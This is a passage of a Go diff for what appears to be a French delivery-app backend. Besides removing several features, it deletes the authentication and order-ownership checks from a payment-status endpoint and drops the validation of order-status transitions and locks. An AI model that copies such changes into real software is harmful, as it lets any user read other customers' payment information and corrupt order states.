func ResetClientRateLimitAdmin(c *gin.Context) {
|
||||
if c.GetString("role") != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
|
||||
return
|
||||
}
|
||||
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
client, err := database.GetClientByUsername(c.Param("username"))
|
||||
if err != nil || client == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Client introuvable"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := db.Redis.Del(db.RedisCtx, middleware.ClientRateLimitKey(client.ID)).Err(); err != nil {
|
||||
utils.ServerErr(c, "Erreur levée du rate limit", err)
|
||||
return
|
||||
}
|
||||
resetCancelRateLimit(cancelRateLimitKey(client.Username))
|
||||
resetRateLimit(ownAddressRateLimitKey(client.Username))
|
||||
|
||||
log.Printf("✅ [RATELIMIT_RESET] Rate limit levé pour %s par %s", client.Username, c.GetString("username"))
|
||||
c.JSON(http.StatusOK, gin.H{"success": true, "message": "Rate limit levé"})
|
||||
}
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"bytes"
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/services"
|
||||
@@ -49,30 +48,6 @@ func checkRateLimit(key string) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
// isRateLimited indique si la clé est actuellement bloquée, sans compter de requête.
|
||||
func isRateLimited(key string) bool {
|
||||
rateLimitMu.Lock()
|
||||
defer rateLimitMu.Unlock()
|
||||
return countRecent(rateLimitMap[key], timeWindow) >= maxRequests
|
||||
}
|
||||
|
||||
func resetRateLimit(key string) {
|
||||
rateLimitMu.Lock()
|
||||
defer rateLimitMu.Unlock()
|
||||
delete(rateLimitMap, key)
|
||||
}
|
||||
|
||||
func countRecent(timestamps []time.Time, window time.Duration) int {
|
||||
now := time.Now()
|
||||
n := 0
|
||||
for _, ts := range timestamps {
|
||||
if now.Sub(ts) < window {
|
||||
n++
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func safeGetUsername(c *gin.Context) (string, error) {
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
@@ -315,16 +290,11 @@ func RespondToAddressProposal(c *gin.Context) {
|
||||
|
||||
// La colonne proposed_address est vidée par RespondToAddressProposal dès
|
||||
// qu'elle est traitée : on la lit avant l'appel pour pouvoir regéocoder la
|
||||
// nouvelle adresse en cas d'acceptation. On récupère aussi le livreur
|
||||
// assigné : ProposeAddressChange autorise un changement d'adresse même en
|
||||
// "en_route" (voir commands.go ~L236-240), donc un livreur peut déjà être
|
||||
// en train de rouler vers l'ancienne adresse au moment de l'acceptation.
|
||||
// nouvelle adresse en cas d'acceptation.
|
||||
var proposedAddress string
|
||||
var livreurAssign string
|
||||
if req.Accepted {
|
||||
if command, err := database.GetCommandByID(commandID); err == nil {
|
||||
proposedAddress, _ = command["proposed_address"].(string)
|
||||
livreurAssign, _ = command["livreur_assign"].(string)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -335,19 +305,6 @@ func RespondToAddressProposal(c *gin.Context) {
|
||||
|
||||
if req.Accepted && proposedAddress != "" {
|
||||
updateCommandDestinationCoords(database, geoService, commandID, proposedAddress)
|
||||
|
||||
// L'ETA en cache correspond au trajet vers l'ancienne destination —
|
||||
// on l'invalide pour forcer un recalcul sur les nouvelles coordonnées.
|
||||
db.Redis.Del(db.RedisCtx, fmt.Sprintf("command:eta:%d", commandID))
|
||||
|
||||
// Sans cette notification, le livreur déjà en route continuerait à
|
||||
// naviguer vers l'ancienne adresse sans savoir que la destination a
|
||||
// changé en base.
|
||||
if livreurAssign != "" {
|
||||
clientOrderID := database.GetClientOrderID(commandID)
|
||||
livreurMsg := fmt.Sprintf("⚠️ Le client a changé l'adresse de livraison de la commande #%d : %s. Merci de mettre à jour votre itinéraire.", clientOrderID, proposedAddress)
|
||||
database.NotifyLivreur(livreurAssign, commandID, "address_changed", livreurMsg)
|
||||
}
|
||||
}
|
||||
|
||||
action := "refusée"
|
||||
@@ -381,7 +338,7 @@ func UpdateOwnCommandAddress(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
rateLimitKey := ownAddressRateLimitKey(clientUsername)
|
||||
rateLimitKey := fmt.Sprintf("update_own_addr:%s", clientUsername)
|
||||
if !checkRateLimit(rateLimitKey) {
|
||||
c.JSON(http.StatusTooManyRequests, gin.H{"error": "Trop de requêtes, réessayez plus tard"})
|
||||
return
|
||||
@@ -771,39 +728,6 @@ func GetAvailableDeliveryPersons(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
// Enrichissement en un seul aller-retour groupé (statut, position, queue,
|
||||
// compteurs) au lieu de laisser le frontend refaire un appel par livreur.
|
||||
usernames := make([]string, len(livreurs))
|
||||
for i, l := range livreurs {
|
||||
if u, ok := l["username"].(string); ok {
|
||||
usernames[i] = u
|
||||
}
|
||||
}
|
||||
detailsByUsername := database.GetDeliveryPersonsDetailsBatch(usernames)
|
||||
for i, l := range livreurs {
|
||||
username, _ := l["username"].(string)
|
||||
det := detailsByUsername[username]
|
||||
if det == nil {
|
||||
det = &db.DeliveryPersonDetails{Status: "offline"}
|
||||
}
|
||||
l["status"] = det.Status
|
||||
l["queue_size"] = det.QueueSize
|
||||
l["total_deliveries"] = det.TotalDeliveries
|
||||
l["completed_deliveries"] = det.CompletedDeliveries
|
||||
l["pending_deliveries"] = det.PendingDeliveries
|
||||
if det.CurrentCommand != 0 {
|
||||
l["current_command"] = det.CurrentCommand
|
||||
} else {
|
||||
l["current_command"] = nil
|
||||
}
|
||||
if det.HasLocation {
|
||||
l["location"] = gin.H{"latitude": det.Latitude, "longitude": det.Longitude}
|
||||
} else {
|
||||
l["location"] = nil
|
||||
}
|
||||
livreurs[i] = l
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_LIVREURS] Trouvés: %d livreurs disponibles", len(livreurs))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
@@ -1330,37 +1254,14 @@ func UpdateCommandStatusAdmin(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
switch req.Status {
|
||||
case "cancelled":
|
||||
if req.Status == "cancelled" {
|
||||
if err := database.CancelCommandByAdminAtomic(commandID); err != nil {
|
||||
if errors.Is(err, db.ErrCommandLocked) {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Commande approuvée : annulation impossible"})
|
||||
return
|
||||
}
|
||||
utils.ServerErr(c, "Impossible d'annuler la commande", err)
|
||||
return
|
||||
}
|
||||
case "approved":
|
||||
// Passe par le même chemin que StaffApproveDelivery (points + stats
|
||||
// cohérents) au lieu d'un UPDATE brut du statut.
|
||||
staffUsername, err := safeGetUsername(c)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
if _, _, _, err := database.ApproveDeliveryAtomicByStaff(commandID, staffUsername); err != nil {
|
||||
utils.ServerErr(c, "Impossible de confirmer la réception", err)
|
||||
return
|
||||
}
|
||||
default:
|
||||
if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
|
||||
if errors.Is(err, db.ErrCommandLocked) {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Commande annulée ou approuvée : statut non modifiable"})
|
||||
return
|
||||
}
|
||||
utils.ServerErr(c, "Impossible de mettre à jour le statut", err)
|
||||
return
|
||||
}
|
||||
} else if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
|
||||
utils.ServerErr(c, "Impossible de mettre à jour le statut", err)
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [STATUS_ADMIN] Cmd %d → %s (par %s)", commandID, req.Status, role)
|
||||
|
||||
@@ -79,28 +79,12 @@ func IPNWebhook(c *gin.Context) {
|
||||
func GetCommandPaymentStatus(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "id de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
if cmdUsername, _ := command["username"].(string); cmdUsername != username.(string) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Cette commande ne vous appartient pas"})
|
||||
return
|
||||
}
|
||||
|
||||
payment, err := database.GetCryptoPaymentByCommandID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "erreur base de données"})
|
||||
|
||||
@@ -2,7 +2,6 @@ package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/models"
|
||||
@@ -74,11 +73,10 @@ func GetMyDeliveries(c *gin.Context) {
|
||||
itemsSummary := make([]gin.H, len(items))
|
||||
for j, item := range items {
|
||||
itemsSummary[j] = gin.H{
|
||||
"produit": item["produit"],
|
||||
"quantite": item["quantite"],
|
||||
"prix": item["prix"],
|
||||
"promo_discount": item["promo_discount"],
|
||||
"is_reward": item["is_reward"],
|
||||
"produit": item["produit"],
|
||||
"quantite": item["quantite"],
|
||||
"prix": item["prix"],
|
||||
"is_reward": item["is_reward"],
|
||||
}
|
||||
}
|
||||
|
||||
@@ -157,11 +155,10 @@ func GetDeliveryDetails(c *gin.Context) {
|
||||
itemsSummary := make([]gin.H, len(items))
|
||||
for i, item := range items {
|
||||
itemsSummary[i] = gin.H{
|
||||
"produit": item["produit"],
|
||||
"quantite": item["quantite"],
|
||||
"prix": item["prix"],
|
||||
"promo_discount": item["promo_discount"],
|
||||
"is_reward": item["is_reward"],
|
||||
"produit": item["produit"],
|
||||
"quantite": item["quantite"],
|
||||
"prix": item["prix"],
|
||||
"is_reward": item["is_reward"],
|
||||
}
|
||||
}
|
||||
|
||||
@@ -176,7 +173,6 @@ func GetDeliveryDetails(c *gin.Context) {
|
||||
"total_prix": command["total_prix"],
|
||||
"referral_used": command["referral_used"],
|
||||
"created_at": command["created_at"],
|
||||
"is_new_client": isFirstOrder(command["client_order_number"]),
|
||||
"client_info": clientInfo,
|
||||
"items": itemsSummary,
|
||||
"items_count": len(items),
|
||||
@@ -185,13 +181,6 @@ func GetDeliveryDetails(c *gin.Context) {
|
||||
})
|
||||
}
|
||||
|
||||
// Le livreur avance dans l'ordre : assignée → en route → arrivé → livrée.
|
||||
var livreurNextStatus = map[string]string{
|
||||
"assigned": "en_route",
|
||||
"en_route": "arrived",
|
||||
"arrived": "livre",
|
||||
}
|
||||
|
||||
func UpdateDeliveryStatus(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
@@ -256,22 +245,6 @@ func UpdateDeliveryStatus(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
currentStatus, _ := command["status"].(string)
|
||||
if req.Status != "cancelled" {
|
||||
if currentStatus == req.Status {
|
||||
c.JSON(http.StatusOK, gin.H{"success": true, "message": "Statut déjà à jour", "command_id": commandID, "status": currentStatus})
|
||||
return
|
||||
}
|
||||
if livreurNextStatus[currentStatus] != req.Status {
|
||||
c.JSON(http.StatusConflict, gin.H{
|
||||
"error": "Transition de statut non autorisée",
|
||||
"current_status": currentStatus,
|
||||
"received": req.Status,
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if req.Status == "livre" {
|
||||
if req.Latitude == 0 || req.Longitude == 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Coordonnées GPS requises pour confirmer la livraison"})
|
||||
@@ -297,10 +270,6 @@ func UpdateDeliveryStatus(c *gin.Context) {
|
||||
// double appel (double-tap, retry réseau, commande déjà annulée ailleurs).
|
||||
if req.Status == "cancelled" {
|
||||
alreadyCancelled, prevStatus, cancelErr := database.CancelDeliveryByLivreurAtomic(commandID)
|
||||
if errors.Is(cancelErr, db.ErrCommandAlreadyDelivered) {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Commande déjà livrée : annulation impossible"})
|
||||
return
|
||||
}
|
||||
if cancelErr != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur mise à jour",
|
||||
@@ -334,10 +303,6 @@ func UpdateDeliveryStatus(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
} else if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
|
||||
if errors.Is(err, db.ErrCommandLocked) {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Commande annulée ou approuvée : statut non modifiable"})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur mise à jour",
|
||||
})
|
||||
@@ -658,9 +623,3 @@ func GetMyDeliveryStats(c *gin.Context) {
|
||||
"today_revenue": todayRow.Revenue,
|
||||
})
|
||||
}
|
||||
|
||||
// isFirstOrder indique si la commande est la toute première du client (client_order_id == 1).
|
||||
func isFirstOrder(v any) bool {
|
||||
n, _ := strconv.Atoi(fmt.Sprintf("%v", v))
|
||||
return n == 1
|
||||
}
|
||||
|
||||
@@ -375,16 +375,6 @@ func ClaimMyReward(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// Sans produit éligible pour ce pool (ex: catégories de la récompense mal
|
||||
// alignées avec celles du pool), on refuse avant de consommer un point —
|
||||
// sinon points_redeemed serait incrémenté sans qu'aucun produit ne soit
|
||||
// jamais ajouté au panier (récompense perdue silencieusement).
|
||||
if len(itemsToAdd) == 0 {
|
||||
log.Printf("❌ [CLAIM] Aucun produit éligible pour %s (pool=%s)", username, req.PoolKey)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Récompense momentanément indisponible, contactez le support"})
|
||||
return
|
||||
}
|
||||
|
||||
remaining, added, err := database.ClaimPoolRewardAndAddToBasket(username, req.PoolKey, reward.Threshold, itemsToAdd)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "pas de récompense disponible") {
|
||||
@@ -418,106 +408,6 @@ func ClaimMyReward(c *gin.Context) {
|
||||
})
|
||||
}
|
||||
|
||||
// SwapMyRewardProduct change le produit choisi pour la récompense déjà en
|
||||
// panier, sans consommer une nouvelle réservation de points : le pool et
|
||||
// l'éligibilité sont redérivés côté serveur (jamais depuis une donnée
|
||||
// envoyée par le client), via la même logique de candidats que ClaimMyReward.
|
||||
func SwapMyRewardProduct(c *gin.Context) {
|
||||
username := c.GetString("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
ProductID int `json:"product_id" binding:"required"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "product_id requis"})
|
||||
return
|
||||
}
|
||||
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
poolKey, err := database.GetActiveRewardPoolKey(username)
|
||||
if err != nil {
|
||||
utils.ServerErr(c, "Erreur lecture panier", err)
|
||||
return
|
||||
}
|
||||
if poolKey == "" {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Aucune récompense active dans le panier"})
|
||||
return
|
||||
}
|
||||
|
||||
settings, err := database.GetSettings()
|
||||
if err != nil {
|
||||
utils.ServerErr(c, "Erreur lecture paramètres", err)
|
||||
return
|
||||
}
|
||||
if !settings.PointsEnabled {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Système de points désactivé"})
|
||||
return
|
||||
}
|
||||
reward := settings.PointsReward
|
||||
if reward == nil || reward.Threshold <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Aucune récompense configurée"})
|
||||
return
|
||||
}
|
||||
|
||||
var selectedPool *models.PointsPool
|
||||
for i := range settings.PointsPools {
|
||||
if settings.PointsPools[i].Key == poolKey {
|
||||
selectedPool = &settings.PointsPools[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
if selectedPool == nil {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Pool introuvable"})
|
||||
return
|
||||
}
|
||||
poolCategories := make(map[string]bool, len(selectedPool.Categories))
|
||||
for _, cat := range selectedPool.Categories {
|
||||
poolCategories[cat] = true
|
||||
}
|
||||
|
||||
candidates, err := resolveCategoryRewardCandidates(database, reward)
|
||||
if err != nil {
|
||||
utils.ServerErr(c, "Erreur résolution produits récompense", err)
|
||||
return
|
||||
}
|
||||
|
||||
var newItem *models.RewardItem
|
||||
for _, cand := range candidates {
|
||||
if cand.ProductID != req.ProductID || !poolCategories[cand.Category] {
|
||||
continue
|
||||
}
|
||||
price, err := effectiveRewardPrice(database, cand.ProductID, cand.Quantity, cand.Type)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Récompense momentanément indisponible, contactez le support"})
|
||||
return
|
||||
}
|
||||
newItem = &models.RewardItem{ProductID: cand.ProductID, Quantity: cand.Quantity, Price: price}
|
||||
break
|
||||
}
|
||||
if newItem == nil {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Ce produit n'est pas éligible pour cette récompense"})
|
||||
return
|
||||
}
|
||||
|
||||
added, err := database.AddRewardsToBasket(username, []models.RewardItem{*newItem}, poolKey)
|
||||
if err != nil {
|
||||
utils.ServerErr(c, "Erreur changement de produit récompense", err)
|
||||
return
|
||||
}
|
||||
|
||||
var productNames []string
|
||||
for _, item := range added {
|
||||
productNames = append(productNames, item.ProductName)
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{"success": true, "product_names": productNames})
|
||||
}
|
||||
|
||||
func AdminResetClientRedeemed(c *gin.Context) {
|
||||
username := c.Param("username")
|
||||
poolKey := c.Query("pool_key")
|
||||
@@ -530,64 +420,3 @@ func AdminResetClientRedeemed(c *gin.Context) {
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{"success": true})
|
||||
}
|
||||
|
||||
func AdminGetClientRewardOrders(c *gin.Context) {
|
||||
username := c.Param("username")
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
orders, err := database.GetClientRewardOrders(username)
|
||||
if err != nil {
|
||||
utils.ServerErr(c, "Erreur lecture commandes récompense", err)
|
||||
return
|
||||
}
|
||||
_, redeemed, err := database.GetClientPointsAndRewards(username)
|
||||
if err != nil {
|
||||
utils.ServerErr(c, "Erreur lecture récompenses", err)
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{"success": true, "orders": orders, "redeemed": redeemed})
|
||||
}
|
||||
|
||||
func AdminDecrementClientRedeemed(c *gin.Context) {
|
||||
username := c.Param("username")
|
||||
var req struct {
|
||||
PoolKey string `json:"pool_key" binding:"required"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "pool_key requis"})
|
||||
return
|
||||
}
|
||||
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
settings, err := database.GetSettings()
|
||||
if err != nil {
|
||||
utils.ServerErr(c, "Erreur lecture paramètres", err)
|
||||
return
|
||||
}
|
||||
poolExists := false
|
||||
for _, p := range settings.PointsPools {
|
||||
if p.Key == req.PoolKey {
|
||||
poolExists = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !poolExists {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Pool de points invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
remaining, err := database.DecrementClientRedeemed(username, req.PoolKey)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "aucune récompense") {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Aucune récompense réclamée sur ce pool"})
|
||||
return
|
||||
}
|
||||
utils.ServerErr(c, "Erreur annulation récompense", err)
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [REWARD_DECREMENT] 1 récompense annulée (pool=%s) pour %s par %s, reste %d",
|
||||
req.PoolKey, username, c.GetString("username"), remaining)
|
||||
c.JSON(http.StatusOK, gin.H{"success": true, "redeemed": remaining})
|
||||
}
|
||||
|
||||
@@ -510,7 +510,7 @@ func UpdateProduct(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
current, err := database.GetProductByID(id)
|
||||
_, err = database.GetProductByID(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
|
||||
return
|
||||
@@ -574,25 +574,6 @@ func UpdateProduct(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// L'unité n'est qu'un libellé : la changer réinterpréterait les quantités des paniers et commandes en cours.
|
||||
if current.Unit != "" && updateData.Unit != current.Unit {
|
||||
baskets, commands, err := database.CountOpenProductUsage(id)
|
||||
if err != nil {
|
||||
utils.ServerErr(c, "Erreur vérification paniers et commandes", err)
|
||||
return
|
||||
}
|
||||
if baskets > 0 || commands > 0 {
|
||||
c.JSON(http.StatusConflict, gin.H{
|
||||
"error": fmt.Sprintf("Impossible de changer l'unité (%s → %s) : produit présent dans %d panier(s) et %d commande(s) en cours", current.Unit, updateData.Unit, baskets, commands),
|
||||
"open_baskets": baskets,
|
||||
"open_commands": commands,
|
||||
"current_unit": current.Unit,
|
||||
"requested_unit": updateData.Unit,
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("🔄 [UpdateProduct] %s met à jour produit #%d", username, id)
|
||||
|
||||
comingSoon := false
|
||||
|
||||
@@ -204,20 +204,18 @@ func GetAdminStats(c *gin.Context) {
|
||||
|
||||
// Toutes les requêtes sont indépendantes — on les lance en parallèle.
|
||||
var (
|
||||
wdRows []models.WeekdayRow
|
||||
dayRows []models.DayRow
|
||||
dayRevRows []models.DayRevenueRow
|
||||
hourRows []models.HourRow
|
||||
prodRows []models.ProductRow
|
||||
qtyRows []models.QuantityBreakdownRow
|
||||
dailyRows []models.DailyProductRow
|
||||
totalOrders int64
|
||||
totalRevenue float64
|
||||
totalPromoDiscount float64
|
||||
promoOrdersCount int64
|
||||
dailyTotalOrders int64
|
||||
activeDays int64
|
||||
last30Count int64
|
||||
wdRows []models.WeekdayRow
|
||||
dayRows []models.DayRow
|
||||
dayRevRows []models.DayRevenueRow
|
||||
hourRows []models.HourRow
|
||||
prodRows []models.ProductRow
|
||||
qtyRows []models.QuantityBreakdownRow
|
||||
dailyRows []models.DailyProductRow
|
||||
totalOrders int64
|
||||
totalRevenue float64
|
||||
dailyTotalOrders int64
|
||||
activeDays int64
|
||||
last30Count int64
|
||||
)
|
||||
|
||||
eg, _ := errgroup.WithContext(context.Background())
|
||||
@@ -238,16 +236,6 @@ func GetAdminStats(c *gin.Context) {
|
||||
totalRevenue, err = database.TotalRevenue(filters.ResetRevenus)
|
||||
return err
|
||||
})
|
||||
eg.Go(func() error {
|
||||
var err error
|
||||
totalPromoDiscount, err = database.TotalPromoDiscount(filters.ResetRevenus)
|
||||
return err
|
||||
})
|
||||
eg.Go(func() error {
|
||||
var err error
|
||||
promoOrdersCount, err = database.PromoOrdersCount(filters.ResetRevenus)
|
||||
return err
|
||||
})
|
||||
eg.Go(func() error {
|
||||
var err error
|
||||
dailyTotalOrders, err = database.DailyOrdersCount()
|
||||
@@ -442,13 +430,11 @@ func GetAdminStats(c *gin.Context) {
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"summary": gin.H{
|
||||
"total_orders": totalOrders,
|
||||
"total_revenue": totalRevenue,
|
||||
"total_promo_discount": totalPromoDiscount,
|
||||
"promo_orders_count": promoOrdersCount,
|
||||
"peak_weekday": peakWeekday,
|
||||
"top_product": topProductName,
|
||||
"avg_per_day": avgPerDay,
|
||||
"total_orders": totalOrders,
|
||||
"total_revenue": totalRevenue,
|
||||
"peak_weekday": peakWeekday,
|
||||
"top_product": topProductName,
|
||||
"avg_per_day": avgPerDay,
|
||||
},
|
||||
"reset_at_commandes": dateFilter(filters.ResetCommandes),
|
||||
"reset_at_revenus": dateFilter(filters.ResetRevenus),
|
||||
|
||||
@@ -166,7 +166,7 @@ func main() {
|
||||
r.Use(sessions.Sessions("mysession", store))
|
||||
|
||||
r.Use(cors.New(cors.Config{
|
||||
AllowOrigins: []string{"https://uber-stup.club", "https://5.181.0.112.nip.io", "https://5.181.0.112.nip.io:8080", "https://5.181.0.112.nip.io:8443", "https://mln-uber.club", "http://localhost:5173", "http://5.181.0.112"},
|
||||
AllowOrigins: []string{"https://uber-demo.club"},
|
||||
AllowMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS", "PATCH"},
|
||||
AllowHeaders: []string{"Origin", "Content-Type", "Accept", "Authorization", "X-Request-ID"},
|
||||
ExposeHeaders: []string{"Content-Length"},
|
||||
|
||||
@@ -437,13 +437,6 @@ func ClientSessionMiddleware(c *gin.Context) {
|
||||
c.Next()
|
||||
}
|
||||
|
||||
// ClientRateLimitMax est le nombre de requêtes autorisées par minute et par client.
|
||||
const ClientRateLimitMax = 100
|
||||
|
||||
func ClientRateLimitKey(clientID int) string {
|
||||
return "ratelimit:" + strconv.Itoa(clientID)
|
||||
}
|
||||
|
||||
func RateLimitMiddleware(c *gin.Context) {
|
||||
// Récupérer le client_id
|
||||
clientID, ok := c.Get("client_id")
|
||||
@@ -453,7 +446,7 @@ func RateLimitMiddleware(c *gin.Context) {
|
||||
}
|
||||
|
||||
clientIDInt := clientID.(int)
|
||||
rateLimitKey := ClientRateLimitKey(clientIDInt)
|
||||
rateLimitKey := "ratelimit:" + strconv.Itoa(clientIDInt)
|
||||
|
||||
// Incrémenter le compteur
|
||||
count, err := db.Redis.Incr(db.RedisCtx, rateLimitKey).Result()
|
||||
@@ -467,7 +460,7 @@ func RateLimitMiddleware(c *gin.Context) {
|
||||
db.Redis.Expire(db.RedisCtx, rateLimitKey, 60*time.Second) // 1 minute
|
||||
}
|
||||
|
||||
if count > ClientRateLimitMax {
|
||||
if count > 100 {
|
||||
log.Printf("❌ [RATELIMIT] Client %d dépassé le limite: %d requêtes/min", clientIDInt, count)
|
||||
c.JSON(http.StatusTooManyRequests, gin.H{
|
||||
"error": "Trop de requêtes - Réessayez dans une minute",
|
||||
@@ -476,9 +469,9 @@ func RateLimitMiddleware(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
c.Header("X-RateLimit-Remaining", strconv.FormatInt(ClientRateLimitMax-count, 10))
|
||||
c.Header("X-RateLimit-Remaining", strconv.FormatInt(100-count, 10))
|
||||
|
||||
log.Printf("📊 [RATELIMIT] Client %d: %d/%d requêtes", clientIDInt, count, ClientRateLimitMax)
|
||||
log.Printf("📊 [RATELIMIT] Client %d: %d/%d requêtes", clientIDInt, count, 100)
|
||||
|
||||
c.Next()
|
||||
}
|
||||
|
||||
@@ -19,17 +19,16 @@ func (Command) TableName() string { return "commandes" }
|
||||
|
||||
// CommandItem représente un produit dans une commande
|
||||
type CommandItem struct {
|
||||
ID int `gorm:"primaryKey;autoIncrement" json:"id"`
|
||||
CommandID int `gorm:"column:command_id" json:"command_id"`
|
||||
Produit string `gorm:"column:produit" json:"produit"`
|
||||
ProductID int `gorm:"column:product_id" json:"product_id"`
|
||||
Quantity float64 `gorm:"column:quantite" json:"quantity"`
|
||||
Price float64 `gorm:"column:prix" json:"price"`
|
||||
IsReward bool `gorm:"column:is_reward" json:"is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key" json:"reward_pool_key,omitempty"`
|
||||
PromoDiscount float64 `gorm:"column:promo_discount" json:"promo_discount,omitempty"`
|
||||
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
|
||||
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
|
||||
ID int `gorm:"primaryKey;autoIncrement" json:"id"`
|
||||
CommandID int `gorm:"column:command_id" json:"command_id"`
|
||||
Produit string `gorm:"column:produit" json:"produit"`
|
||||
ProductID int `gorm:"column:product_id" json:"product_id"`
|
||||
Quantity float64 `gorm:"column:quantite" json:"quantity"`
|
||||
Price float64 `gorm:"column:prix" json:"price"`
|
||||
IsReward bool `gorm:"column:is_reward" json:"is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key" json:"reward_pool_key,omitempty"`
|
||||
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
|
||||
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
|
||||
}
|
||||
|
||||
type CommandLog struct {
|
||||
|
||||
@@ -3,17 +3,16 @@ package models
|
||||
import "time"
|
||||
|
||||
type Panier struct {
|
||||
ID int `json:"id"`
|
||||
Username string `json:"username"`
|
||||
ProductID int `json:"product_id"`
|
||||
ProductName string `json:"product_name"`
|
||||
Category string `json:"category"`
|
||||
Description string `json:"description"`
|
||||
Quantity float64 `json:"quantity"`
|
||||
Price float64 `json:"price"`
|
||||
IsReward bool `json:"is_reward"`
|
||||
RewardPoolKey string `json:"reward_pool_key,omitempty"`
|
||||
PromoDiscount float64 `json:"promo_discount,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at,omitempty"`
|
||||
ID int `json:"id"`
|
||||
Username string `json:"username"`
|
||||
ProductID int `json:"product_id"`
|
||||
ProductName string `json:"product_name"`
|
||||
Category string `json:"category"`
|
||||
Description string `json:"description"`
|
||||
Quantity float64 `json:"quantity"`
|
||||
Price float64 `json:"price"`
|
||||
